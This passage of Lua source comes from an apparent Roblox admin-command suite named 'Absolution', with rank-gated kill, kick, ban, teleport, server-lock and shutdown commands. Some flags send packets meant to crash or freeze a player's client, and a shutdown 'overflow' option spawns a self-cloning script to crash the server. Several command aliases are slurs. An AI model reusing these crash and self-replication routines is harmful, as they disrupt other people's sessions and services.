- ypcall(function()
- Absolution.Functions.ShowData(Speaker, v)
- Absolution.Functions.Out(Speaker, "Got "..v.Name.."'s data.", 1)
- end)
- end
- else
- Absolution.Functions.Output(Speaker, 'Too many players!','Really red')
- end
- end)
- -- Rank 4 --
- Absolution.Functions.Command("Full Clean", {"fullclean", "fc", "fclean"}, 4, "Full Cleans The Server", '-f (Full Clean)', function(Speaker, Msg)
- if Absolution.Functions.GetSplit(Msg) == "f" then
- Absolution.Functions.FullClean()
- else
- Absolution.Functions.CleanWorkspace()
- end
- Absolution.Functions.Out(Speaker, "Got clean.", 5)
- end)
- Absolution.Functions.Command("Kill", {"kill"}, 4, "Kills A Player", "-l (Loopkill) -ul (Unloopkill) -s (Smite) -r (Respawn) -e (Explode) -w (WalkSpeed)",function(Speaker, Msg)
- if Absolution.Functions.GetSplit(Msg) == "r" then
- Msg = Msg:gsub("-r","")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- v:LoadCharacter()
- Absolution.Functions.Out(Speaker, "Respawned "..v.Name..".", 5)
- end)
- end
- end
- elseif Absolution.Functions.GetSplit(Msg) == "s" then
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- for _,i in pairs(v.Character:children()) do
- if i:IsA'BasePart' then
- local Sparkles = Instance.new("Sparkles",i)
- Sparkles.Color = Color3.new(math.random(),math.random(),math.random())
- local Ex = Instance.new("Explosion",Absolution.Services.Workspace)
- Ex.Position = i.Position
- Ex.BlastPressure = 1e105
- i:BreakJoints()
- i.Velocity = Vector3.new(math.random(-250,250),math.random(100,250),math.random(-250,250))
- coroutine.wrap(function()
- for b=1,5,0.5 do
- i.Size=Vector3.new(b,b,b)
- wait(0.01)
- end
- end)()
- end
- end
- local Base=Instance.new'Part'
- pcall(function()
- Base.Size=Vector3.new(5,1,3)
- Base.Color=Color3.new(BrickColor.new'Bright yellow')
- Base.Anchored=true
- Base.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y - 6,v.Character.Torso.CFrame.z)
- coroutine.wrap(function()
- for i=0,1,0.1 do
- Base.Transparency=i
- wait()
- end
- Base:Destroy()
- end)()
- end)
- end
- end
- elseif Absolution.Functions.GetSplit(Msg) == "e" then
- Msg = Msg:gsub("-e", "")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- local e = Instance.new'Explosion'
- e.Parent = Absolution.Services.Workspace
- e.BlastRadius = 10
- e.BlastPressure = 10000
- e.Position = v.Character.Torso.Position
- Absolution.Functions.Out(Speaker, "Exploded "..v.Name..".", 5)
- end)
- end
- end
- elseif Absolution.Functions.GetSplit(Msg) == "l" then
- Msg = Msg:gsub("-l", "")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- if Absolution.Connections.Killing[v.Name] then
- return Absolution.Functions.Output(Speaker, "You can only loopkill someone one at a time!", "Really red", nil, 3)
- end
- Absolution.Connections.Killing[v.Name] = v.CharacterAdded:connect(function(Character)
- wait()
- Character:BreakJoints()
- end)
- v.Character:BreakJoints()
- end)
- end
- end
- elseif Absolution.Functions.GetSplit(Msg) == "ul" then
- Msg = Msg:gsub("-ul", "")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- if Absolution.Connections.Killing[v.Name] then
- Absolution.Connections.Killing[v.Name]:disconnect()
- Absolution.Connections.Killing[v.Name] = nil
- end
- end)
- end
- end
- elseif Absolution.Functions.GetSplit(Msg) == "w" then
- Msg = Msg:gsub("-w", "")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- v.Character.Humanoid.WalkSpeed = "99e999"
- Absolution.Functions.Out(Speaker, "Walkspeed killed "..v.Name..".", 5)
- end)
- end
- end
- else
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- v.Character:BreakJoints()
- Absolution.Functions.Out(Speaker, "Killed "..v.Name..".", 5)
- end)
- end
- end
- end
- end)
- Absolution.Functions.Command("Kick", {"kick", "leave", "bai", "kk", "sbban", "gtfo", "kys", "dc"}, 4, "Kicks A Player", "-t (Tempban) -b (Banish) -c (Crash) -n (Nil) -r (Rejoin)",function(Speaker, Msg)
- local Split = Msg:find("/")
- local tbsr = Msg:find";"
- if Absolution.Functions.GetSplit(Msg) == "b" then
- if Absolution.Functions:findRank(Speaker) < 6 then
- return Absolution.Functions.Output(Speaker, "You're not a high enough rank to use this flag!", "Really red")
- end
- local Reason = (Msg:sub(Split + 1)..' ('..Speaker.Name..')'):gsub('-b','')
- Msg = Msg:gsub("-b","")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
- if #Players > 0 then
- for _,v in pairs(Players) do
- if Absolution.Functions:findRank(v) >= 3 then
- ypcall(function()
- Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm PERMANENT ban for: '..Reason,'Really red',function()
- Absolution.Functions.getRankedTable(v.Name).Rank = -1
- Absolution.Functions.getRankedTable(v.Name).Description = Reason
- --Absolution.Functions.sbOutput(v.Name..' was banned for '..Reason, 'Error')
- Absolution.Functions.Announce(v.Name..' was banned for '..Reason, 'Error')
- Absolution.Functions.Out(Speaker, "You banned "..v.Name.." for "..Reason..".", 5)
- wait()
- Absolution.Functions.syncRankOut(v)
- v:Kick('You were banned for '..Reason)
- end)
- end)
- else
- ypcall(function()
- Absolution.Functions.getRankedTable(v.Name).Rank = -1
- Absolution.Functions.getRankedTable(v.Name).Description = Reason
- --Absolution.Functions.sbOutput(v.Name..' was banned for '..Reason, 'Error')
- Absolution.Functions.Announce(v.Name..' was banned for '..Reason, 'Error')
- Absolution.Functions.Out('All', v.Name..' was banned for '..Reason..'.', 5)
- wait()
- Absolution.Functions.syncRankOut(v)
- v:Kick('You were banned for '..Reason)
- end)
- end
- end
- end
- elseif Absolution.Functions.GetSplit(Msg) == "t" then
- if Absolution.Functions.getRankedTable(Speaker).Rank < 6 then
- return Absolution.Functions.Output(Speaker, "You're not a high enough rank to use this flag!", "Really red")
- end
- local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
- local Duration = ((Msg:sub(tbsr + 1)):gsub('-t',''))
- if not tonumber(Duration) and tostring(Duration):len() >= 3 then
- local data = {}
- local form = '[%d+%a+]+'
- for match in Duration:gmatch(form) do
- data[#data+1] = match
- end
- if not data[1] and not data[2] then Absolution.Functions.Output(Speaker,'Invalid time format!','Really red') return end
- local tim = data[1]
- local types = {["years"] = 525600,["months"] = 43800,["weeks"] = 10080,["days"] = 1440,["hours"] = 60}
- local multiplier = types[data[2]]
- if not multiplier then
- local teststr = data[2]..'s'
- if types[teststr] then
- multiplier = types[teststr]
- else
- Absolution.Functions.Output(Speaker,'Invalid time format!','Really red')
- end
- end
- Duration = ((tim*60) * multiplier)
- elseif tonumber(Duration) then
- Duration = Duration*60
- end
- local Reason = (Msg:sub(Split + 1,tbsr-1)..' ('..Speaker.Name..')'):gsub('-t','')
- if #Players > 0 then
- for _,v in pairs(Players) do
- if Absolution.Functions:findRank(v) >= 3 then
- ypcall(function()
- Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm temporary ban for: '..Absolution.Functions.GetTime(Duration),'Really red',function()
- Absolution.Functions.getRankedTable(v.Name).Description = Reason
- Absolution.Functions:setTempBan(v, Reason, (Duration))
- --Absolution.Functions.sbOutput(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
- Absolution.Functions.Announce(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
- Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)})
- Absolution.Functions.Out('All', v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)..'.', 5)
- wait()
- Absolution.Functions.syncRankOut(v)
- v:Kick('You were temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration))
- end)
- end)
- else
- ypcall(function()
- Absolution.Functions.getRankedTable(v.Name).Description = Reason
- Absolution.Functions:setTempBan(v, Reason, (Duration))
- --Absolution.Functions.sbOutput(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
- Absolution.Functions.Announce(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
- Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)})
- Absolution.Functions.Out('All', v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)..'.', 5)
- wait()
- Absolution.Functions.syncRankOut(v)
- v:Kick('You were temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration))
- end)
- end
- end
- end
- elseif Absolution.Functions.GetSplit(Msg) == "r" then
- Msg = Msg:gsub("-r","")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- Absolution.Services.TeleportService:Teleport(game.PlaceId, v)
- Absolution.Functions.Out(Speaker, 'Rejoined '..v.Name..'.', 5)
- end)
- end
- end
- elseif Absolution.Functions.GetSplit(Msg) == "bs" then
- Msg = Msg:gsub("-bs","")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
- local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- --Absolution.Functions.sbOutput(v.Name..' was given bsod for '..Reason, 'Error')
- Absolution.Functions.Announce(v.Name..' was given bsod for '..Reason, 'Error')
- Absolution.Functions.Out('All', v.Name..' was given bsod for '..Reason..'.', 5)
- Absolution.Handler:sendPacket(v, 'bsod',{["REASON"] = Reason})
- game:service'Debris':AddItem(v, 6)
- end)
- wait''
- pcall(function() v:Kick('Disconnected for: '..Reason) end)
- end
- end
- elseif Absolution.Functions.GetSplit(Msg) == "c" then
- Msg = Msg:gsub("-c","")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
- local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- --Absolution.Functions.sbOutput(v.Name..' was crashed for '..Reason, 'Error')
- Absolution.Functions.Announce(v.Name..' was crashed for '..Reason, 'Error')
- Absolution.Functions.Out('All', v.Name..' was crashed for '..Reason..'.', 5)
- Absolution.Handler:sendPacket(v, "repeat",{["REASON"] = Reason})
- game:service'Debris':AddItem(v, 6)
- end)
- end
- end
- elseif Absolution.Functions.GetSplit(Msg) == "n" then
- Msg = Msg:gsub("-n","")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- v.Parent = nil
- Absolution.Functions.Out(Speaker, 'Nilkicked '..v.Name..'.', 5)
- end)
- end
- end
- else
- local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
- if #Players > 0 then
- local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
- for _,v in pairs(Players) do
- if Absolution.Functions:findRank(v) >= 3 then
- ypcall(function()
- Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm kick for: '..Reason,'Really red',function()
- --Absolution.Functions.sbOutput(v.Name..' was disconnected for '..Reason, 'Error')
- Absolution.Functions.Announce(v.Name..' was disconnected for '..Reason, 'Error')
- Absolution.Functions.Out(Speaker, v.Name..' was disconnected for '..Reason..'.', 5)
- Absolution.Handler:sendPacket(v, 'disconnect',{["REASON"] = Reason})
- game:service'Debris':AddItem(v, 6)
- end)
- end)
- else
- ypcall(function()
- --Absolution.Functions.sbOutput(v.Name..' was disconnected for '..Reason, 'Error')
- Absolution.Functions.Announce(v.Name..' was disconnected for '..Reason, 'Error')
- Absolution.Functions.Out(Speaker, v.Name..' was disconnected for '..Reason..'.', 5)
- Absolution.Handler:sendPacket(v, 'disconnect',{["REASON"] = Reason})
- game:service'Debris':AddItem(v, 6)
- end)
- end
- end
- end
- end
- end)
- Absolution.Functions.Command("Set Nick", {"nick","setnick"}, 4, "Changes a player's nickname", "No Flags",function(Speaker, Msg)
- local Split = Msg:find('/')
- local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
- local Nick = Msg:sub(Split + 1)
- for i,v in pairs(Player) do
- Absolution.Functions.nickName(v.Name, Nick)
- Absolution.Functions.Out(Speaker, 'Renamed '..v.Name..' to '..Nick..'.', 5)
- end
- end)
- Absolution.Functions.Command("nilAllow", {"na","nilallow","nallow","nila"}, 4, "Toggles a player's nil privileges", "No Flags",function(Speaker, Msg)
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- local Status;
- Absolution.Functions.Dismiss(Speaker)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- Status = Absolution.Handler:sendPacket(v, 'togglenil',{})
- end)
- --Absolution.Functions.Output(Speaker,(Status and 'Allowed nilallow for '..v.Name or 'Removed nilallow for '..v.Name),(Status and 'Lime green' or 'Really red'),nil ,8)
- Absolution.Functions.Out(Speaker, (Status and 'Allowed nilallow for '..v.Name or 'Removed nilallow for '..v.Name), 5)
- --Absolution.Functions.Output(v,(Status and 'You can go nil!' or 'Don\'t try to go nil!'),(Status and 'Lime green' or 'Really red'),nil ,8)
- Absolution.Functions.Out(v, (Status and 'You can go nil!' or 'Don\'t try to go nil!'), 5)
- end
- end
- end)
- -- Rank 5 --
- Absolution.Functions.Command("Disable Client", {"disable",'fag','fuckoff'}, 5, "Disables a clients input", "No Flags",function(Speaker, Msg)
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- local Status;
- Absolution.Functions.Dismiss(Speaker)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- Status = Absolution.Handler:sendPacket(v, 'disable',{})
- end)
- Absolution.Functions.Out(Speaker,(Status and 'Disabled'..v.Name or 'Something went wrong there. (404) error not found'),(Status and 5 or 4))
- end
- end
- end)
- Absolution.Functions.Command("Teleport", {"teleport", "tele", "tp"}, 5, "Teleports A Player To Another Player", "-p (Place) -ps (Private Server)", function(Speaker,Msg)
- if Absolution.Functions.GetSplit(Msg) == "p" then
- Msg = Msg:gsub("-p", "")
- local Split = Msg:find('/')
- local Player = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
- local Numbers = Msg:sub(Split + 1)
- if Speaker.Name=='CLarramore' or Speaker.Name=='coldblahblah' or (tostring(Numbers) and tostring(Numbers)=="192800")then
- Absolution.Functions.Out(Speaker, 'Nice try', 4)
- return
- end
- if Numbers == "oxsb" then
- Numbers = "20279777"
- elseif Numbers == "antisb" then
- Numbers = "21053279"
- elseif Numbers == "pksb" then
- Numbers = "191240586"
- elseif Numbers == "mastersb" then
- Numbers = "210101277"
- elseif Numbers == "jarredsb" then
- Numbers = "189032917"
- elseif Numbers == "nexuresb" then
- Numbers = "178350907"
- elseif Numbers == "c9" then
- Numbers = "133180956"
- elseif Numbers == "quarry" then
- Numbers = "151670365"
- elseif Numbers == "phantom" then
- Numbers = "292439477"
- end
- if #Player > 0 then
- for _,v in pairs(Player) do
- ypcall(function()
- Absolution.Services.TeleportService:Teleport(Numbers, v)
- end)
- end
- end
- elseif Absolution.Functions.GetSplit(Msg) == "ps" then
- Msg=Msg:gsub('-ps','')
- local r,e = ypcall(function()
- local TS = game:GetService("TeleportService")
- if not Absolution.TPReserves[tostring(game.PlaceId)] then
- Absolution.TPReserves[tostring(game.PlaceId)] = TS:ReserveServer(game.PlaceId)
- end
- local players = Absolution.Functions.getPlayers(Speaker,Msg)
- TS:TeleportToPrivateServer(game.PlaceId,Absolution.TPReserves[tostring(game.PlaceId)],players)
- end)
- if not r then Absolution.Functions.Out(Speaker, 'SEVERE ERROR: '..e, 4) end
- else
- local Split = Msg:find('/')
- local Player1 = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
- local Player2 = Absolution.Functions.getPlayers(Speaker,Msg:sub(Split + 1))
- if #Player1 > 0 or #Player2 > 0 then
- for _,v in pairs(Player1) do
- for _,v2 in pairs(Player2) do
- ypcall(function()
- v.Character.Torso.CFrame = v2.Character.Torso.CFrame*CFrame.new(0,10,0)
- Absolution.Functions.Out(Speaker, 'Teleported '..v.Name..' to '..v2.Name..'.', 5)
- end)
- end
- end
- end
- end
- end)
- Absolution.Functions.Command("Capture", {"cap", "bringhere", "maketab"}, 5, "Makes a player a part of your tablet rotation", "-u (Undo)", function(Speaker,Msg)
- if Absolution.Functions.GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u", "")
- local Player = Absolution.Functions.getPlayers(Speaker,Msg)
- if #Player > 0 then
- for _,v in pairs(Player) do
- ypcall(function()
- for q,e in pairs(Absolution.Tablets) do
- if e.Tab == v.Character.Torso then
- table.remove(Absolution.Tablets, q)
- Absolution.Functions.Out(Speaker, 'Released '..v.Name, 5)
- end
- end
- end)
- end
- end
- else
- local Player1 = Absolution.Functions.getPlayers(Speaker,Msg)
- if #Player1 > 0 then
- for _,v in pairs(Player1) do
- ypcall(function()
- table.insert(Absolution.Tablets,{Tab = v.Character.Torso, Plr = Speaker.Name})
- Absolution.Functions.Out(Speaker, 'Captured '..v.Name, 5)
- end)
- end
- end
- end
- end)
- Absolution.Functions.Command("Private Server", {"pri", "privateserver"}, 5, "PrivateServer Menu", nil, function(Speaker,Msg)
- if #Msg == 0 then
- Absolution.Functions.Dismiss(Speaker)
- local Status = Absolution.PrivateServer.Enabled == true and "On" or "Off"
- Absolution.Functions.Output(Speaker, "Turn On", "Lime green", function()
- Absolution.Functions.Dismiss(Speaker)
- for _,v in pairs(Absolution.Services.Players:getPlayers()) do
- if Absolution.Functions:findRank(v) <= 0.5 then
- Absolution.Functions.Announce(v.Name.." got kicked due to private server.")
- v:Kick()
- end
- end
- Absolution.PrivateServer.Enabled = true
- Absolution.Functions.Output(Speaker, "Private Server Enabled", "Really red", nil, 3)
- end)
- Absolution.Functions.Output(Speaker, "Turn Off", "Really red", function() Absolution.Functions.Dismiss(Speaker) Absolution.PrivateServer.Enabled = false Absolution.Functions.Output(Speaker, "Private Server Disabled", "Lime green", nil, 3) end)
- Absolution.Functions.Output(Speaker, "Status: "..Status)
- elseif Msg == "on" or Msg == "1" or Msg == "true" then
- Absolution.PrivateServer.Enabled = true
- for _,v in pairs(Absolution.Services.Players:getPlayers()) do
- if Absolution.Functions:findRank(v) <= 0.5 then
- table.insert(Absolution.PrivateServer.Waiting, v.Name)
- Absolution.Functions.Announce(v.Name.." got kicked due to private server.")
- v:Kick()
- end
- end
- Absolution.Functions.Out(Speaker, "Private Server Enabled", 2)
- elseif Msg == "off" or Msg == "0" or Msg == "false" then
- Absolution.PrivateServer.Enabled = false
- Absolution.Functions.Out(Speaker, "Private Server Disabled", 2)
- end
- end)
- Absolution.Functions.Command("Lock Server", {"slock", "serverlock"}, 5, "ServerLocking Menu", nil, function(Speaker,Msg)
- Absolution.Functions.Dismiss(Speaker)
- local Status = Absolution.Locks.Server.Locked == true and "On" or "Off"
- local Level;
- local numPlrs = 0
- if not Absolution.Locks.Server.Locked then
- Absolution.Functions.Output(Speaker, "Turn On", "Lime green", function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, 'Ranks above and equal to...','Really red')
- for i,v in pairs(Absolution.Ranks) do
- if i<=Absolution.Functions:findRank(Speaker.Name) and i>=0 then
- Absolution.Functions.Output(Speaker, tostring(i), "Random", function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Locks.Server.rankNumber = i
- Absolution.Functions.Output(Speaker, 'Duration:', "Really red")
- for i=1200,1,-60 do
- Absolution.Functions.Output(Speaker, tostring(i), "Random", function()
- Absolution.Functions.Dismiss(Speaker)
- for _,v in pairs(Absolution.Services.Players:GetPlayers()) do
- local vRank = Absolution.Functions:findRank(tostring(v))
- if(vRank<Absolution.Locks.Server.rankNumber)then
- numPlrs = numPlrs + 1
- end
- end
- Absolution.Functions.Output(Speaker, 'This will disconnect '..numPlrs..' player(s). Continue?','Bright orange',function()
- Absolution.Locks.Server.Duration = i
- Absolution.Functions.Output(Speaker, "Server Lock Enabled", "Really red", nil, 6)
- Absolution.Locks.Server:enabledServerLock()
- Absolution.Functions.Output(Speaker, "Server Lock Completed", "Bright green", nil, 6)
- end)
- end)
- end
- end)
- else
- end
- end
- end)
- else
- Absolution.Functions.Output(Speaker, 'Cannot turn on. Server lock is in effect!', 'Really red')
- end
- Absolution.Functions.Output(Speaker, "Turn Off", "Really red", function() Absolution.Functions.Announce("Server Lock Disabled") Absolution.Functions.Dismiss(Speaker) Absolution.Locks.Server.Locked = false Absolution.Functions.Output(Speaker, "Server Lock Disabled", "Lime green", nil, 3) end)
- Absolution.Functions.Output(Speaker, "Status: "..Status)
- end)
- Absolution.Functions.Command("Lock Scripts", {"locks", "lockscripts"}, 5, "Locks/Unlocks Scripting", "-s (Server) -l (Local)", function(Speaker, Msg)
- if Absolution.Functions.GetSplit(Msg) == "s" then
- Absolution.Locks.Server.Server = not Absolution.Locks.Server.Server
- Absolution.Functions.Out("Admins", "Server Scripting Lock is now "..(tostring(Absolution.Locks.Server.Server) == 'true' and 'active' or 'inactive'), 2)
- return
- elseif Absolution.Functions.GetSplit(Msg) == "l" then
- Absolution.Locks.Server.Local = not Absolution.Locks.Server.Local
- Absolution.Functions.Out("Admins", "Client Scripting Lock is now "..(tostring(Absolution.Locks.Server.Local) == 'true' and 'active' or 'inactive'), 2)
- return
- else
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, "Server Sided Scripting: "..tostring(Absolution.Locks.Server.Server), "Bright orange")
- Absolution.Functions.Output(Speaker, "Local Sided Scripting: "..tostring(Absolution.Locks.Server.Local), "Bright orange")
- Absolution.Functions.Output(Speaker, "Toggle Server Sided", Absolution.Locks.Server.Server == false and "Lime green" or "Really red", function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Locks.Server.Server = not Absolution.Locks.Server.Server
- Absolution.Functions.Out("Admins", "Server Scripting Lock is now "..tostring(Absolution.Locks.Server.Server), 2)
- end)
- Absolution.Functions.Output(Speaker, "Toggle Local Sided", Absolution.Locks.Server.Local == false and "Lime green" or "Really red", function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Locks.Server.Local = not Absolution.Locks.Server.Local
- Absolution.Functions.Out("Admins", "Client Scripting Lock is now "..tostring(Absolution.Locks.Server.Local), 2)
- end)
- end
- end)
- Absolution.Functions.Command("Debugger Console", {"console","cons", "clog"}, 5, "Shows the console", "No Flags", function(Speaker, Msg)
- Absolution.Functions.MakeOutput(Speaker)
- end)
- -- Rank 6 --
- Absolution.Functions.Command("Change Rank", {"setrank", "changerank", "srank", "setr"}, 6, "Changes A Player's Rank", "No Flags", function(Speaker, Msg)
- local Split = Msg:find(Absolution.Functions.getRankedTable(Speaker.Name).Bet and Absolution.Functions.getRankedTable(Speaker.Name).Bet or '/')
- local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
- local Rank = tonumber(Msg:sub(Split + 1))
- if #Player > 0 then
- for _,v in pairs(Player) do
- if Rank == nil then Absolution.Functions.Out(Speaker, "That rank is invalid", 4) return end
- if Rank < -2 then return Absolution.Functions.Out(Speaker, 'You cannot set a rank that low',4) end
- if Rank < 0 and Absolution.Functions:findRank(Speaker) < 4 then Absolution.Functions.Out(Speaker, "You cannot set a rank that low.", 4) return end
- if Absolution.Functions:findRank(v) > Absolution.Functions:findRank(Speaker) then Absolution.Functions.Output(Speaker, "You cannot set a person's rank that is higher than you!", 4) return end
- if Rank < Absolution.Functions:findRank(Speaker) then
- Absolution.Functions.getRankedTable(tostring(v)).Rank = Rank
- Absolution.Functions.Out(Speaker, "Changed "..v.Name.."'s membership status to "..Absolution.Ranks[Rank], 5)
- Absolution.Functions.Out(v, "Your membership was changed to "..Absolution.Ranks[Rank].." by "..Speaker.Name.."!", 5)
- Absolution.Functions.syncRankOut(v)
- else
- Absolution.Functions.Out(Speaker, "You cannot set a rank higher than you!", 4)
- end
- end
- end
- end)
- Absolution.Functions.Command('Untempban', {'utb','untempban'}, 6, 'Un tempbans a player', 'No flags', function(Speaker, Msg)
- local plr = game:service'Players':GetUserIdFromNameAsync(Msg)
- if not Absolution.Tempbans[tostring(plr)] then Absolution.Functions.Out(Speaker, 'Banned player not found!', 4) return end
- if not plr then Absolution.Functions.Out(Speaker, 'Invalid player!', 4) return end
- local result = game.HttpService:PostAsync(Absolution.HttpConstants.IP .. Absolution.HttpConstants.Tempbans..'?mode=delete', "player="..plr, Enum.HttpContentType.ApplicationUrlEncoded)
- Absolution.Tempbans[tostring(plr)] = nil
- Absolution.Functions.Out(Speaker, result, 2)
- Absolution.Functions.Out(Speaker, 'Unbanned '..Msg..' ('..plr..')', 5)
- end)
- Absolution.Functions.Command('Trace string', {'trace', 'tr'}, 6, 'Traces a string through all of the logs', '-p (Player)', function(Speaker, Msg)
- Absolution.Functions.Dismiss(Speaker)
- local GetTime = function(self)
- local hour = math.floor((self%86400)/60/60)
- local min = math.floor(((self%86400)/60/60-hour)*60)
- if min < 10 then min = "0"..min end
- if hour < 10 then hour = "0"..hour end
- return hour..":"..min
- end
- if Absolution.Functions.GetSplit(Msg) == "p" then
- local plr = Absolution.Functions.getPlayers(Msg)
- if #plr > 1 then
- Absolution.Functions.Out(Speaker,'Too many players!',4)
- return
- else
- local sData = Absolution.Functions.TraceSearch(plr[1].Name, true)
- for i,v in pairs(sData) do
- Absolution.Functions.Output(Speaker, GetTime(v.tim), nil, function()
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, v.data)
- end)
- end
- end
- else
- local sData = Absolution.Functions.TraceSearch(Msg)
- if #sData > 0 then
- for i,v in pairs(sData) do
- Absolution.Functions.Out(Speaker, v.plr.. ' = '..v.data:gsub("\n",""), 5)
- end
- else
- Absolution.Functions.Out(Speaker, 'No logs found for '..Msg, 4)
- end
- end
- end)
- Absolution.Functions.Command("Shutdown", {"sd", "shutdown"}, 6, "Shutdowns the Server", "-c (Countdown) -a (Abort) -o (Overflow)", function(Speaker, Msg)
- if Absolution.Functions.GetSplit(Msg) == "c" then
- Msg = Msg:gsub("-c","")
- for i = 1, Absolution.Constants.ShutdownTime do
- if Absolution.Aborted == true then
- Absolution.Aborted = false
- local ABM = Instance.new("Message", Absolution.Services.Workspace)
- ABM.Text = "Shutdown Aborted!"
- Absolution.Services.Debris:AddItem(ABM, 1)
- Absolution.Locks.Server.Server = false
- Absolution.Locks.Server.Local = false
- return
- else
- Absolution.Locks.Server.Server = true
- Absolution.Locks.Server.Local = true
- local ABM = Instance.new("Message", Absolution.Services.Workspace)
- ABM.Text = "\n\n\n\n\nShutdown in "..Absolution.Constants.ShutdownTime-i.." seconds"
- wait(1)
- if ABM ~= nil then
- ABM:remove()
- end
- end
- end
- Absolution.Functions.Shutdown(Speaker.Name, #Msg>0 and Msg or 'No reason defined')
- elseif Absolution.Functions.GetSplit(Msg) == "a" then
- Msg = Msg:gsub("-a", "")
- Absolution.Aborted = true
- elseif Absolution.Functions.GetSplit(Msg) == "o" then
- Msg = Msg:gsub("-o", "")
- Absolution.Functions.Output(Speaker, 'Confirm shutdown (THIS WILL BE LOGGED)', 'Really red',function()
- Absolution.Functions.createScript([[
- while game:service'RunService'.Stepped:wait() do
- script:Clone().Parent = game:GetService("Workspace")
- end
- ]], Absolution.Services.Workspace)
- end)
- else
- Absolution.Functions.Output(Speaker, 'Confirm shutdown (THIS WILL BE LOGGED)', 'Really red',function()
- Absolution.Functions.Shutdown(Speaker.Name, Msg and Msg or 'no reason given')
- end)
- end
- end)
- -- Rank 7 --
- Absolution.Functions.Command("Remove Script", {"cremove"}, 7, "Removes the Script", "No Flags", function(Speaker, Msg)
- Absolution.Handler.sendChat('Removing Absolution...')
- Absolution.Functions.Out("Admins", 'Removing Absolution...', 5)
- Absolution.Handler:fireAllClients('removescript')
- wait(2)
- --syncRanksOut()
- for i,v in pairs(Absolution.Services.Players:getPlayers()) do
- Absolution.Functions.Dismiss(v)
- end
- for i,v in pairs(Absolution.Connections) do
- pcall(function()
- v:disconnect()
- end)
- end
- for i,v in pairs(Absolution.Functions) do
- Absolution.Functions[i] = function() end
- end
- Absolution = nil
- for i,v in pairs(getfenv()) do
- getfenv()[i] = nil
- end
- script.Source = ''
- end)
- Absolution.Functions.Command("Send Packet", {"packet", "sendp", "pseudopacket"}, 7, "Sends a packet to a player", "No Flags", function(Speaker,Msg)
- local Split = Msg:find('/')
- local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
- local Packet = Msg:sub(Split + 1)
- local pckt;
- if #Players > 0 then
- for _,v in pairs(Players) do
- local Ran,Error = ypcall(function()
- pckt = Absolution.Handler:sendPacket(v, Packet)
- end)
- if not Ran then
- Absolution.Functions.Out(Speaker, Error, 4)
- else
- Absolution.Functions.Out(Speaker, tostring(pckt), 1)
- end
- end
- end
- end)
- Absolution.Functions.Command("Connect Player", {"connect","conp","cplayer","connectplayer"}, 7, "Connects a player to absolution", "No Flags", function(Speaker,Msg)
- local Players = Absolution.Functions.getPlayers(Speaker,Msg)
